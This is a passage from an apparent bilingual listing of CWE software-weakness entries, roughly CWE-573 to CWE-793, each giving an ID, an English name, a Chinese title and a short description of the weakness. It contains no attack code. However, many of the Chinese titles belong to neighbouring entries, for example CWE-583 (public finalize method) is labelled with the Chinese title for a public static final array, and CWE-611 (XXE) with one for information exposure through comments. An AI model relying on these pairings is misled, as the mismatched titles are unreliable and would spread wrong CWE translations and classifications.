CWEID:CWE-574 EJB Bad Practices: Use of Synchronization Primitives title_zh:调用者对规范的不恰当使用 The product violates the Enterprise JavaBeans (EJB) specification by using thread synchronization primitives. ### CWEID:CWE-575 EJB Bad Practices: Use of AWT Swing title_zh:EJB不安全实践:使用同步原语 The product violates the Enterprise JavaBeans (EJB) specification by using AWT/Swing. ### CWEID:CWE-576 EJB Bad Practices: Use of Java I/O title_zh:EJB不安全实践:使用AWTSwing The product violates the Enterprise JavaBeans (EJB) specification by using the java.io package. ### CWEID:CWE-573 Improper Following of Specification by Caller title_zh:EJB不安全实践:使用套接字 The product does not follow or incorrectly follows the specifications as required by the implementation language, environment, framework, protocol, or platform. ### CWEID:CWE-577 EJB Bad Practices: Use of Sockets title_zh:EJB不安全实践:使用JavaI/O The product violates the Enterprise JavaBeans (EJB) specification by using sockets. ### CWEID:CWE-578 EJB Bad Practices: Use of Class Loader title_zh:EJB不安全实践:使用类加载器 The product violates the Enterprise JavaBeans (EJB) specification by using the class loader. ### CWEID:CWE-579 J2EE Bad Practices: Non-serializable Object Stored in Session title_zh:J2EE不安全实践:将不可序列化的对象存储在会话中 The product stores a non-serializable object as an HttpSession attribute, which can hurt reliability. ### CWEID:CWE-580 clone() Method Without super.clone() title_zh:未定义super.clone()的clone()方法 The product contains a clone() method that does not call super.clone() to obtain the new object. ### CWEID:CWE-581 Object Model Violation: Just One of Equals and Hashcode Defined title_zh:对象模型违背:仅定义了一个等式与散列码 The product does not maintain equal hashcodes for equal objects. ### CWEID:CWE-583 finalize() Method Declared Public title_zh:公开、最终、静态声明的数组 The product violates secure coding principles for mobile code by declaring a finalize() method public. ### CWEID:CWE-582 Array Declared Public, Final, and Static title_zh:在最后的代码块中返回 The product declares an array public, final, and static, which is not sufficient to prevent the array's contents from being modified. ### CWEID:CWE-585 Empty Synchronized Block title_zh:公开声明的finalize()方法 The product contains an empty synchronized block. ### CWEID:CWE-584 Return Inside Finally Block title_zh:空的同步代码块 The code has a return statement inside a finally block, which will cause any thrown exception in the try block to be discarded. ### CWEID:CWE-587 Assignment of a Fixed Address to a Pointer title_zh:对Finalize()的显式调用 The product sets a pointer to a specific address other than NULL or 0. ### CWEID:CWE-588 Attempt to Access Child of a Non-structure Pointer title_zh:尝试访问一个非结构体指针的子域 Casting a non-structure type to a structure type and accessing a field can lead to memory access errors or data corruption. ### CWEID:CWE-589 Call to Non-ubiquitous API title_zh:将一个固定地址复制给指针 The product uses an API function that does not exist on all versions of the target platform. This could cause portability problems or inconsistencies that allow denial of service or other consequences. ### CWEID:CWE-586 Explicit Call to Finalize() The product makes an explicit call to the finalize() method from outside the finalizer. ### CWEID:CWE-591 Sensitive Data Storage in Improperly Locked Memory title_zh:释放并不在堆上的内存 The product stores sensitive data in memory that is not locked, or that has been incorrectly locked, which might cause the memory to be written to swap files on disk by the virtual memory manager. This can make the data more accessible to external actors. ### CWEID:CWE-592 DEPRECATED: Authentication Bypass Issues title_zh:敏感数据存储于加锁不恰当的内存区域 This weakness has been deprecated because it covered redundant concepts already described in :CWE-287:. ### CWEID:CWE-593 Authentication Bypass: OpenSSL CTX Object Modified after SSL Objects are Created title_zh:对非普适API的调用 The product modifies the SSL context after connection creation has begun. ### CWEID:CWE-594 J2EE Framework: Saving Unserializable Objects to Disk title_zh:认证绕过:SSL对象创建后修改OpenSSLCTX对象 When the J2EE container attempts to write unserializable objects to disk there is no guarantee that the process will complete successfully. ### CWEID:CWE-590 Free of Memory not on the Heap title_zh:J2EE框架:将不可序列化的对象存储到磁盘上 The product calls free() on a pointer to memory that was not allocated using associated heap allocation functions such as malloc(), calloc(), or realloc(). ### CWEID:CWE-596 DEPRECATED: Incorrect Semantic Object Comparison title_zh:错误对对象引用当作对象内容进行比较 This weakness has been deprecated. It was poorly described and difficult to distinguish from other entries. It was also inappropriate to assign a separate ID solely because of domain-specific considerations. Its closest equivalent is :CWE-1023:. ### CWEID:CWE-598 Use of GET Request Method With Sensitive Query Strings The web application uses the HTTP GET method to process a request and includes sensitive information in the query string of that request. ### CWEID:CWE-595 Comparison of Object References Instead of Object Contents title_zh:在字符串比较中使用了错误的操作符 The product compares object references instead of the contents of the objects themselves, preventing it from detecting equivalent objects. ### CWEID:CWE-599 Missing Validation of OpenSSL Certificate title_zh:缺失对OpenSSL证书的验证 The product uses OpenSSL and trusts or uses a certificate without using the SSL_get_verify_result() function to ensure that the certificate satisfies all necessary security requirements. ### CWEID:CWE-600 Uncaught Exception in Servlet title_zh:通过GET请求中的查询字符串导致的信息暴露 The Servlet does not catch all exceptions, which may reveal sensitive debugging information. ### CWEID:CWE-597 Use of Wrong Operator in String Comparison title_zh:Servlet中未捕获的异常 The product uses the wrong operator when comparing a string, such as using "==" when the .equals() method should be used instead. ### CWEID:CWE-602 Client-Side Enforcement of Server-Side Security title_zh:使用客户端的认证机制 The product is composed of a server that relies on the client to implement a mechanism that is intended to protect the server. ### CWEID:CWE-601 URL Redirection to Untrusted Site ('Open Redirect') title_zh:公开静态最终域索引互斥的对象 A web application accepts a user-controlled input that specifies a link to an external site, and uses that link in a Redirect. This simplifies phishing attacks. ### CWEID:CWE-605 Multiple Binds to the Same Port title_zh:服务端安全的客户端实施 When multiple sockets are allowed to bind to the same port, other services on that port may be stolen or spoofed. ### CWEID:CWE-607 Public Static Final Field References Mutable Object title_zh:指向未可信站点的URL重定向(开放重定向) A public or protected static final field references a mutable object, which allows the object to be changed by malicious code, or accidentally from another package. ### CWEID:CWE-608 Struts: Non-private Field in ActionForm Class title_zh:对同一端口的多重绑定 An ActionForm class contains a field that has not been declared private, which can be accessed without using a setter or getter. ### CWEID:CWE-603 Use of Client-Side Authentication title_zh:XML外部实体引用的不恰当限制(XXE) A client/server product performs authentication within client code but not in server code, allowing server-side authentication to be bypassed via a modified client that omits the authentication check. ### CWEID:CWE-609 Double-Checked Locking title_zh:循环条件输入未经检查 The product uses double-checked locking to access a resource without the overhead of explicit synchronization, but the locking is insufficient. ### CWEID:CWE-606 Unchecked Input for Loop Condition title_zh:Structs:动作表单类中存在非私有域 The product does not properly check inputs that are used for loop conditions, potentially leading to a denial of service or other consequences because of excessive looping. ### CWEID:CWE-612 Improper Authorization of Index Containing Sensitive Information title_zh:资源在另一范围的外部可控制索引 The product creates a search index of private or sensitive documents, but it does not properly limit index access to actors who are authorized to see the original information. ### CWEID:CWE-613 Insufficient Session Expiration title_zh:HTTPS会话中未设置’Secure’属性的敏感Cookie According to WASC, "Insufficient Session Expiration is when a web site permits an attacker to reuse old session credentials or session IDs for authorization." ### CWEID:CWE-614 Sensitive Cookie in HTTPS Session Without 'Secure' Attribute title_zh:通过私有数据的索引导致的信息暴露 The Secure attribute for sensitive cookies in HTTPS sessions is not set, which could cause the user agent to send those cookies in plaintext over an HTTP session. ### CWEID:CWE-610 Externally Controlled Reference to a Resource in Another Sphere title_zh:不充分的会话过期机制 The product uses an externally controlled name or reference that resolves to a resource that is outside of the intended control sphere. ### CWEID:CWE-611 Improper Restriction of XML External Entity Reference title_zh:通过注释导致的信息暴露 The product processes an XML document that can contain XML entities with URIs that resolve to documents outside of the intended sphere of control, causing the product to embed incorrect documents into its output. ### CWEID:CWE-615 Inclusion of Sensitive Information in Source Code Comments title_zh:双重检查的加锁机制 While adding general comments is very useful, some programmers tend to leave important data, such as: filenames related to the web application, old links or links which were not meant to be browsed by users, old code fragments, etc. ### CWEID:CWE-616 Incomplete Identification of Uploaded File Variables (PHP) title_zh:上传文件变量的不完整标识(PHP) The PHP application uses an old method for processing uploaded files by referencing the four global variables that are set for each file (e.g. $varname, $varname_size, $varname_name, $varname_type). These variables could be overwritten by attackers, causing the application to process unauthorized files. ### CWEID:CWE-617 Reachable Assertion title_zh:可达断言 The product contains an assert() or similar statement that can be triggered by an attacker, which leads to an application exit or other behavior that is more severe than necessary. ### CWEID:CWE-618 Exposed Unsafe ActiveX Method title_zh:暴露的不安全ActiveX方法 An ActiveX control is intended for use in a web browser, but it exposes dangerous methods that perform actions that are outside of the browser's security model (e.g. the zone or domain). ### CWEID:CWE-619 Dangling Database Cursor ('Cursor Injection') title_zh:数据库游标悬挂(游标注入) If a database cursor is not closed properly, then it could become accessible to other users while retaining the same privileges that were originally assigned, leaving the cursor "dangling." ### CWEID:CWE-621 Variable Extraction Error title_zh:函数挂钩参数的验证不恰当 The product uses external input to determine the names of variables into which information is extracted, without verifying that the names of the specified variables are valid. This could cause the program to overwrite unintended variables. ### CWEID:CWE-622 Improper Validation of Function Hook Arguments title_zh:未经验证的口令修改 The product adds hooks to user-accessible API functions, but it does not properly validate the arguments. This could lead to resultant vulnerabilities. ### CWEID:CWE-625 Permissive Regular Expression title_zh:变量抽取错误 The product uses a regular expression that does not sufficiently restrict the set of allowed values. ### CWEID:CWE-623 Unsafe ActiveX Control Marked Safe For Scripting title_zh:可执行体正则表达式错误 An ActiveX control is intended for restricted use, but it has been marked as safe-for-scripting. ### CWEID:CWE-624 Executable Regular Expression Error title_zh:不安全的ActiveX控件被标记为脚本安全 The product uses a regular expression that either (1) contains an executable component with user-controlled inputs, or (2) allows a user to enable execution by inserting pattern modifiers. ### CWEID:CWE-620 Unverified Password Change title_zh:宽松定义的正则表达式 When setting a new password for a user, the product does not require knowledge of the original password, or using another form of authentication. ### CWEID:CWE-626 Null Byte Interaction Error (Poison Null Byte) title_zh:空字节交互错误 The product does not properly handle null bytes or NUL characters when passing data between different representations or components. ### CWEID:CWE-637 Unnecessary Complexity in Protection Mechanism (Not Using 'Economy of Mechanism') title_zh:使用不正确指定参数的函数调用 The product uses a more complex mechanism than necessary, which could lead to resultant weaknesses when the mechanism is not correctly understood, modeled, configured, implemented, or used. ### CWEID:CWE-638 Not Using Complete Mediation title_zh:动态变量执行 The product does not perform access checks on a resource every time the resource is accessed by an entity, which can create resultant weaknesses if that entity's rights or privileges change over time. ### CWEID:CWE-627 Dynamic Variable Evaluation title_zh:未能安全地进行程序失效(FailingOpen) In a language where the user can influence the name of a variable at runtime, if the variable names are not controlled, an attacker can read or write to arbitrary variables, or access arbitrary functions. ### CWEID:CWE-628 Function Call with Incorrectly Specified Arguments title_zh:保护机制不必要的复杂性(未使用经济性的机制) The product calls a function, procedure, or routine with arguments that are not correctly specified, leading to always-incorrect behavior and resultant weaknesses. ### CWEID:CWE-636 Not Failing Securely ('Failing Open') title_zh:未能使用完整仲裁 When the product encounters an error condition or failure, its design requires it to fall back to a state that is less secure than other options that are available, such as selecting the weakest encryption algorithm or using the most permissive access control restrictions. ### CWEID:CWE-639 Authorization Bypass Through User-Controlled Key title_zh:通过用户控制密钥绕过授权机制 The system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data. ### CWEID:CWE-641 Improper Restriction of Names for Files and Other Resources title_zh:忘记口令恢复机制弱 The product constructs the name of a file or other resource using input from an upstream component, but it does not restrict or incorrectly restricts the resulting name. ### CWEID:CWE-640 Weak Password Recovery Mechanism for Forgotten Password title_zh:文件和其他资源名称限制不恰当 The product contains a mechanism for users to recover or change their passwords without knowing the original password, but the mechanism is weak. ### CWEID:CWE-643 Improper Neutralization of Data within XPath Expressions ('XPath Injection') title_zh:对关键状态数据的外部可控制 The product uses external input to dynamically construct an XPath expression used to retrieve data from an XML database, but it does not neutralize or incorrectly neutralizes that input. This allows an attacker to control the structure of the query. ### CWEID:CWE-644 Improper Neutralization of HTTP Headers for Scripting Syntax title_zh:依赖于外部提供文件的文件名或扩展名 The product does not neutralize or incorrectly neutralizes web scripting syntax in HTTP headers that can be used by web browser components that can process raw headers, such as Flash. ### CWEID:CWE-645 Overly Restrictive Account Lockout Mechanism title_zh:使用未经净化的URL路径进行授权决策 The product contains an account lockout protection mechanism, but the mechanism is too restrictive and can be triggered too easily, which allows attackers to deny service to legitimate users by causing their accounts to be locked out. ### CWEID:CWE-642 External Control of Critical State Data title_zh:对HTTP头部进行脚本语法转义处理不恰当 The product stores security-critical state information about its users, or the product itself, in a location that is accessible to unauthorized actors. ### CWEID:CWE-646 Reliance on File Name or Extension of Externally-Supplied File title_zh:XPath表达式中数据转义处理不恰当(XPath注入) The product allows a file to be uploaded, but it relies on the file name or extension of the file to determine the appropriate behaviors. This could be used by attackers to cause the file to be misclassified and processed in a dangerous fashion. ### CWEID:CWE-647 Use of Non-Canonical URL Paths for Authorization Decisions title_zh:过度限制的账户封锁机制 The product defines policy namespaces and makes authorization decisions based on the assumption that a URL is canonical. This can allow a non-canonical URL to bypass the authorization. ### CWEID:CWE-649 Reliance on Obfuscation or Encryption of Security-Relevant Inputs without Integrity Checking title_zh:在服务器端信任HTTP权限模型 The product uses obfuscation or encryption of inputs that should not be mutable by an external actor, but the product does not use integrity checks to detect if those inputs have been modified. ### CWEID:CWE-648 Incorrect Use of Privileged APIs title_zh:特权API的不正确使用 The product does not conform to the API requirements for a function call that requires extra privileges. This could allow attackers to gain privileges by causing the function to be called incorrectly. ### CWEID:CWE-651 Exposure of WSDL File Containing Sensitive Information title_zh:依赖于未经完整性检查的安全相关输入的混淆或加密 The Web services architecture may require exposing a Web Service Definition Language (WSDL) file that contains information on the publicly accessible services and how callers of these services should interact with them (e.g. what parameters they expect and what types they return). ### CWEID:CWE-650 Trusting HTTP Permission Methods on the Server Side title_zh:通过WSDL文件导致的信息暴露 The server contains a protection mechanism that assumes that any URI that is accessed using HTTP GET will not cause a state change to the associated resource. This might allow attackers to bypass intended access restrictions and conduct resource modification and deletion attacks, since some applications allow GET to modify state. ### CWEID:CWE-652 Improper Neutralization of Data within XQuery Expressions ('XQuery Injection') title_zh:XQuery表达式中数据转义处理不恰当(XQuery注入) The product uses external input to dynamically construct an XQuery expression used to retrieve data from an XML database, but it does not neutralize or incorrectly neutralizes that input. This allows an attacker to control the structure of the query. ### CWEID:CWE-653 Improper Isolation or Compartmentalization title_zh:不充分的划分 The product does not properly compartmentalize or isolate functionality, processes, or resources that require different privilege levels, rights, or permissions. ### CWEID:CWE-654 Reliance on a Single Factor in a Security Decision title_zh:依赖构建于封闭的安全性 A protection mechanism relies exclusively, or to a large extent, on the evaluation of a single condition or the integrity of a single object or entity in order to make a decision about granting access to restricted resources or functionality. ### CWEID:CWE-655 Insufficient Psychological Acceptability title_zh:不充分的心理学可接受性 The product has a protection mechanism that is too difficult or inconvenient to use, encouraging non-malicious users to disable or bypass the mechanism, whether by accident or on purpose. ### CWEID:CWE-657 Violation of Secure Design Principles title_zh:在安全决策中依赖单个元素 The product violates well-established principles for secure design. ### CWEID:CWE-656 Reliance on Security Through Obscurity title_zh:违背安全设计原则 The product uses a protection mechanism whose strength depends heavily on its obscurity, such that knowledge of its algorithms or key data is sufficient to defeat the mechanism. ### CWEID:CWE-662 Improper Synchronization title_zh:不恰当的同步机制 The product utilizes multiple threads or processes to allow temporary access to a shared resource that can only be exclusive to one process at a time, but it does not properly synchronize these actions, which might cause simultaneous accesses of this resource by multiple threads or processes. ### CWEID:CWE-663 Use of a Non-reentrant Function in a Concurrent Context title_zh:在并发上下文中使用不可再入的函数 The product calls a non-reentrant function in a concurrent context in which a competing code sequence (e.g. thread or signal handler) may have an opportunity to call the same function or otherwise influence its state. ### CWEID:CWE-666 Operation on Resource in Wrong Phase of Lifetime title_zh:在生命周期中对资源的控制不恰当 The product performs an operation on a resource at the wrong phase of the resource's lifecycle, which can lead to unexpected behaviors. ### CWEID:CWE-664 Improper Control of a Resource Through its Lifetime title_zh:在生命周期错误阶段对资源进行操作 The product does not maintain or incorrectly maintains control over a resource throughout its lifetime of creation, use, and release. ### CWEID:CWE-665 Improper Initialization title_zh:初始化不恰当 The product does not initialize or incorrectly initializes a resource, which might leave the resource in an unexpected state when it is accessed or used. ### CWEID:CWE-669 Incorrect Resource Transfer Between Spheres title_zh:加锁机制不恰当 The product does not properly transfer a resource/behavior to another sphere, or improperly imports a resource/behavior from another sphere, in a manner that provides unintended control over that resource. ### CWEID:CWE-670 Always-Incorrect Control Flow Implementation title_zh:在范围间的资源转移不正确 The code contains a control flow path that does not reflect the algorithm that the path is intended to implement, leading to incorrect behavior any time this path is navigated. ### CWEID:CWE-667 Improper Locking title_zh:将资源暴露给错误范围 The product does not properly acquire or release a lock on a resource, leading to unexpected resource state changes and behaviors. ### CWEID:CWE-671 Lack of Administrator Control over Security title_zh:控制流实现总是不正确 The product uses security features in a way that prevents the product's administrator from tailoring security settings to reflect the environment in which the product is being used. This introduces resultant weaknesses or prevents it from operating at a level of security that is desired by the administrator. ### CWEID:CWE-668 Exposure of Resource to Wrong Sphere title_zh:缺乏对安全的管理控制 The product exposes a resource to the wrong control sphere, providing unintended actors with inappropriate access to the resource. ### CWEID:CWE-672 Operation on a Resource after Expiration or Release title_zh:范围定义的外部影响 The product uses, accesses, or otherwise operates on a resource after that resource has been expired, released, or revoked. ### CWEID:CWE-673 External Influence of Sphere Definition title_zh:未经控制的递归 The product does not prevent the definition of control spheres from external actors. ### CWEID:CWE-675 Multiple Operations on Resource in Single-Operation Context title_zh:在过期或释放后对资源进行操作 The product performs the same operation on a resource two or more times, when the operation should only be applied once. ### CWEID:CWE-674 Uncontrolled Recursion title_zh:对资源的重复操作 The product does not properly control the amount of recursion that takes place, consuming excessive resources, such as allocated memory or the program stack. ### CWEID:CWE-680 Integer Overflow to Buffer Overflow title_zh:潜在危险函数的使用 The product performs a calculation to determine how much memory to allocate, but an integer overflow can occur that causes less memory to be allocated than expected, leading to a buffer overflow. ### CWEID:CWE-676 Use of Potentially Dangerous Function title_zh:整数溢出导致缓冲区溢出 The product invokes a potentially dangerous function that could introduce a vulnerability if it is used incorrectly, but the function can also be used safely. ### CWEID:CWE-684 Incorrect Provision of Specified Functionality title_zh:数值类型间的不正确转换 The code does not function according to its published specifications, potentially leading to incorrect usage. ### CWEID:CWE-683 Function Call With Incorrect Order of Arguments title_zh:使用不正确参数次序的函数调用 The product calls a function, procedure, or routine, but the caller specifies the arguments in an incorrect order, leading to resultant weaknesses. ### CWEID:CWE-681 Incorrect Conversion between Numeric Types title_zh:数值计算不正确 When converting from one data type to another, such as long to integer, data can be omitted or translated in a way that produces unexpected values. If the resulting values are used in a sensitive context, then dangerous behaviors may occur. ### CWEID:CWE-685 Function Call With Incorrect Number of Arguments title_zh:特定函数功能的不正确供给 The product calls a function, procedure, or routine, but the caller specifies too many arguments, or too few arguments, which may lead to undefined behavior and resultant weaknesses. ### CWEID:CWE-686 Function Call With Incorrect Argument Type title_zh:使用不正确参数个数的函数调用 The product calls a function, procedure, or routine, but the caller specifies an argument that is the wrong data type, which may lead to resultant weaknesses. ### CWEID:CWE-687 Function Call With Incorrectly Specified Argument Value title_zh:使用不正确指定参数值的函数调用 The product calls a function, procedure, or routine, but the caller specifies an argument that contains the wrong value, which may lead to resultant weaknesses. ### CWEID:CWE-682 Incorrect Calculation title_zh:使用不正确参数类型的函数调用 The product performs a calculation that generates incorrect or unintended results that are later used in security-critical decisions or resource management. ### CWEID:CWE-688 Function Call With Incorrect Variable or Reference as Argument The product calls a function, procedure, or routine, but the caller specifies the wrong variable or reference as one of the arguments, which may lead to undefined behavior and resultant weaknesses. ### CWEID:CWE-689 Permission Race Condition During Resource Copy title_zh:使用不正确变量或索引作为参数的函数调用 The product, while copying or cloning a resource, does not set the resource's permissions or access control until the copy is complete, leaving the resource exposed to other spheres while the copy is taking place. ### CWEID:CWE-692 Incomplete Denylist to Cross-Site Scripting title_zh:未检查返回值导致空指针解引用 The product uses a denylist-based protection mechanism to defend against XSS attacks, but the denylist is incomplete, allowing XSS variants to succeed. ### CWEID:CWE-690 Unchecked Return Value to NULL Pointer Dereference title_zh:不充分的控制流管理 The product does not check for an error after calling a function that can return with a NULL pointer if the function fails, which leads to a resultant NULL pointer dereference. ### CWEID:CWE-695 Use of Low-Level Functionality The product uses low-level functionality that is explicitly prohibited by the framework or specification under which the product is supposed to operate. ### CWEID:CWE-691 Insufficient Control Flow Management title_zh:保护机制失效 The code does not sufficiently manage its control flow during execution, creating conditions in which the control flow can be modified in unexpected ways. ### CWEID:CWE-694 Use of Multiple Resources with Duplicate Identifier title_zh:使用多个具有重复标识的资源 The product uses multiple resources that can have the same identifier, in a context in which unique identifiers are required. ### CWEID:CWE-693 Protection Mechanism Failure title_zh:使用底层的功能例程 The product does not use or incorrectly uses a protection mechanism that provides sufficient defense against directed attacks against the product. ### CWEID:CWE-697 Incorrect Comparison title_zh:不正确的行为次序 The product compares two entities in a security-relevant context, but the comparison is incorrect, which may lead to resultant weaknesses. ### CWEID:CWE-696 Incorrect Behavior Order title_zh:重定向后执行(EAR) The product performs multiple related behaviors, but the behaviors are performed in the wrong order in ways which may produce resultant weaknesses. ### CWEID:CWE-698 Execution After Redirect (EAR) title_zh:不充分的比较 The web application sends a redirect to another location, but instead of exiting, it executes additional code. ### CWEID:CWE-704 Incorrect Type Conversion or Cast title_zh:对异常条件检查或处理不恰当 The product does not correctly convert an object, resource, or structure from one type to a different type. ### CWEID:CWE-705 Incorrect Control Flow Scoping title_zh:不正确的类型转换 The product does not properly return control flow to the proper location after it has completed a task or detected an unusual condition. ### CWEID:CWE-708 Incorrect Ownership Assignment title_zh:控制流范围控制不正确 The product assigns an owner to a resource, but the owner is outside of the intended control sphere. ### CWEID:CWE-703 Improper Check or Handling of Exceptional Conditions title_zh:使用不正确的解析名称或索引 The product does not properly anticipate or handle exceptional conditions that rarely occur during normal operation of the product. ### CWEID:CWE-706 Use of Incorrectly-Resolved Name or Reference title_zh:对消息或数据结构的处理不恰当 The product uses a name or reference to access a resource, but the name/reference resolves to a resource that is outside of the intended control sphere. ### CWEID:CWE-707 Improper Neutralization title_zh:编程规范违背 The product does not ensure or incorrectly ensures that structured messages or data are well-formed and that certain security properties are met before being read from an upstream component or sent to a downstream component. ### CWEID:CWE-733 Compiler Optimization Removal or Modification of Security-critical Code title_zh:不正确的属主授予 The developer builds a security-critical protection mechanism into the software, but the compiler optimizes the program such that the mechanism is removed or modified. ### CWEID:CWE-710 Improper Adherence to Coding Standards title_zh:暴露危险的方法或函数 The product does not follow certain coding rules for development, which can lead to resultant weaknesses or increase the severity of the associated vulnerabilities. ### CWEID:CWE-756 Missing Custom Error Page title_zh:关键资源的不正确权限授予 The product does not return custom error pages to the user, possibly exposing sensitive information. ### CWEID:CWE-749 Exposed Dangerous Method or Function title_zh:编译器优化对安全关键代码的移除或修改 The product provides an Applications Programming Interface (API) or similar interface for interaction with external actors, but the interface includes a dangerous method or function that is not properly restricted. ### CWEID:CWE-757 Selection of Less-Secure Algorithm During Negotiation ('Algorithm Downgrade') title_zh:对异常条件的处理不恰当 A protocol or its implementation supports interaction between multiple actors and allows those actors to negotiate which algorithm should be used as a protection mechanism such as encryption or authentication, but it does not select the strongest algorithm that is available to both parties. ### CWEID:CWE-755 Improper Handling of Exceptional Conditions title_zh:对因果或异常条件的不恰当检查 The product does not handle or incorrectly handles an exceptional condition. ### CWEID:CWE-754 Improper Check for Unusual or Exceptional Conditions title_zh:在会话协商时选择低安全性的算法(算法降级) The product does not check or incorrectly checks for unusual or exceptional conditions that are not expected to occur frequently during day to day operation of the product. ### CWEID:CWE-732 Incorrect Permission Assignment for Critical Resource title_zh:定制错误页面缺失 The product specifies permissions for a security-critical resource in a way that allows that resource to be read or modified by unintended actors. ### CWEID:CWE-759 Use of a One-Way Hash without a Salt title_zh:依赖未定义、未指明或实现定义的行为 The product uses a one-way cryptographic hash against an input that should not be reversible, such as a password, but the product does not also use a salt as part of the input. ### CWEID:CWE-758 Reliance on Undefined, Unspecified, or Implementation-Defined Behavior title_zh:使用未加Salt的单向哈希算法 The product uses an API function, data structure, or other entity in a way that relies on properties that are not always guaranteed to hold for that entity. ### CWEID:CWE-764 Multiple Locks of a Critical Resource title_zh:使用可预测Salt的单向哈希算法 The product locks a critical resource more times than intended, leading to an unexpected state in the system. ### CWEID:CWE-762 Mismatched Memory Management Routines title_zh:释放一个不在缓冲区起始位置的指针 The product attempts to return a memory resource to the system, but it calls a release function that is not compatible with the function that was originally used to allocate that resource. ### CWEID:CWE-763 Release of Invalid Pointer or Reference title_zh:不匹配的内存管理例程 The product attempts to return a memory resource to the system, but it calls the wrong release function or calls the appropriate release function incorrectly. ### CWEID:CWE-765 Multiple Unlocks of a Critical Resource title_zh:关键资源的多重加锁 The product unlocks a critical resource more times than intended, leading to an unexpected state in the system. ### CWEID:CWE-760 Use of a One-Way Hash with a Predictable Salt title_zh:关键变量被公开声明 The product uses a one-way cryptographic hash against an input that should not be reversible, such as a password, but the product uses a predictable salt as part of the input. ### CWEID:CWE-761 Free of Pointer not at Start of Buffer title_zh:对无效指针或索引的释放 The product calls free() on a pointer to a memory resource that was allocated on the heap, but the pointer is not at the start of the buffer. ### CWEID:CWE-767 Access to Critical Private Variable via Public Method title_zh:关键资源的多重解锁 The product defines a public method that reads or modifies a private variable. ### CWEID:CWE-766 Critical Data Element Declared Public title_zh:不正确的快捷方式验证 The product declares a critical variable, field, or member to be public when intended security policy requires it to be private. ### CWEID:CWE-768 Incorrect Short Circuit Evaluation title_zh:通过公开方法可访问到关键的私有数据 The product contains a conditional statement with multiple logical expressions in which one of the non-leading expressions may produce side effects. This may lead to an unexpected state in the program after the execution of the conditional, because short-circuiting logic may prevent the side effects from occurring. ### CWEID:CWE-769 DEPRECATED: Uncontrolled File Descriptor Consumption This entry has been deprecated because it was a duplicate of :CWE-774:. All content has been transferred to :CWE-774:. ### CWEID:CWE-773 Missing Reference to Active File Descriptor or Handle title_zh:对活跃已分配资源丧失索引 The product does not properly maintain references to a file descriptor or handle, which prevents that file descriptor/handle from being reclaimed. ### CWEID:CWE-771 Missing Reference to Active Allocated Resource title_zh:不加限制或调节的资源分配 The product does not properly maintain a reference to a resource that has been allocated, which prevents the resource from being reclaimed. ### CWEID:CWE-772 Missing Release of Resource after Effective Lifetime title_zh:对活跃文件描述符或句柄丧失索引 The product does not release a resource after its effective lifetime has ended, i.e., after the resource is no longer needed. ### CWEID:CWE-774 Allocation of File Descriptors or Handles Without Limits or Throttling title_zh:对已超过有效生命周期的资源丧失索引 The product allocates file descriptors or handles on behalf of an actor without imposing any restrictions on how many descriptors can be allocated, in violation of the intended security policy for that actor. ### CWEID:CWE-775 Missing Release of File Descriptor or Handle after Effective Lifetime title_zh:缺失文件描述符或句柄在有效生命周期之后的释放处理 The product does not release a file descriptor or handle after its effective lifetime has ended, i.e., after the file descriptor/handle is no longer needed. ### CWEID:CWE-777 Regular Expression without Anchors title_zh:不加限制或调节进行文件描述符或句柄的分配 The product uses a regular expression to perform neutralization, but the regular expression is not anchored and may allow malicious or malformed data to slip through. ### CWEID:CWE-770 Allocation of Resources Without Limits or Throttling title_zh:不充分的日志记录 The product allocates a reusable resource or group of resources on behalf of an actor without imposing any restrictions on the size or number of resources that can be allocated, in violation of the intended security policy for that actor. ### CWEID:CWE-776 Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion') title_zh:DTD中递归实体索引的不恰当限制(XML实体扩展) The product uses XML documents and allows their structure to be defined with a Document Type Definition (DTD), but it does not properly control the number of recursive definitions of entities. ### CWEID:CWE-778 Insufficient Logging When a security-critical event occurs, the product either does not record the event or omits important details about the event when logging it. ### CWEID:CWE-779 Logging of Excessive Data title_zh:日志记录过多数据 The product logs too much information, making log files hard to process and possibly hindering recovery efforts or forensic analysis after an attack. ### CWEID:CWE-780 Use of RSA Algorithm without OAEP title_zh:未配合OAEP使用RSA算法 The product uses the RSA algorithm but does not incorporate Optimal Asymmetric Encryption Padding (OAEP), which might weaken the encryption. ### CWEID:CWE-781 Improper Address Validation in IOCTL with METHOD_NEITHER I/O Control Code title_zh:在METHOD_NEITHERIO控制代码中的IOCTL地址验证不恰当 The product defines an IOCTL that uses METHOD_NEITHER for I/O, but it does not validate or incorrectly validates the addresses that are provided. ### CWEID:CWE-782 Exposed IOCTL with Insufficient Access Control title_zh:无充分访问控制条件下暴露IOCTL The product implements an IOCTL with functionality that should be restricted, but it does not properly enforce access control for the IOCTL. ### CWEID:CWE-783 Operator Precedence Logic Error title_zh:在安全决策中依赖未经验证和完整性检查的Cookie The product uses an expression in which operator precedence causes incorrect logic to be used. ### CWEID:CWE-784 Reliance on Cookies without Validation and Integrity Checking in a Security Decision title_zh:在缓冲区起始位置之前访问内存 The product uses a protection mechanism that relies on the existence or values of a cookie, but it does not properly ensure that the cookie is valid for the associated user. ### CWEID:CWE-786 Access of Memory Location Before Start of Buffer title_zh:操作符优先级逻辑错误 The product reads or writes to a buffer using an index or pointer that references a memory location prior to the beginning of the buffer. ### CWEID:CWE-790 Improper Filtering of Special Elements title_zh:路径操作函数中使用未进行大小限定的缓冲区 The product receives data from an upstream component, but does not filter or incorrectly filters special elements before sending it to a downstream component. ### CWEID:CWE-785 Use of Path Manipulation Function without Maximum-sized Buffer title_zh:在缓冲区结束位置之后访问内存 The product invokes a function for normalizing paths or file names, but it provides an output buffer that is smaller than the maximum possible size, such as PATH_MAX. ### CWEID:CWE-788 Access of Memory Location After End of Buffer title_zh:跨界内存写 The product reads or writes to a buffer using an index or pointer that references a memory location after the end of the buffer. ### CWEID:CWE-791 Incomplete Filtering of Special Elements title_zh:未经控制的内存分配 The product receives data from an upstream component, but does not completely filter special elements before sending it to a downstream component. ### CWEID:CWE-787 Out-of-bounds Write title_zh:特殊元素过滤不恰当 The product writes data past the end, or before the beginning, of the intended buffer. ### CWEID:CWE-789 Memory Allocation with Excessive Size Value title_zh:特殊元素过滤不完全 The product allocates memory based on an untrusted, large size value, but it does not ensure that the size is within expected limits, allowing arbitrary amounts of memory to be allocated. ### CWEID:CWE-792 Incomplete Filtering of One or More Instances of Special Elements title_zh:仅过滤一个特殊元素的单一实例 The product receives data from an upstream component, but does not completely filter one or more instances of special elements before sending it to a downstream component. ### CWEID:CWE-793 Only Filtering One Instance 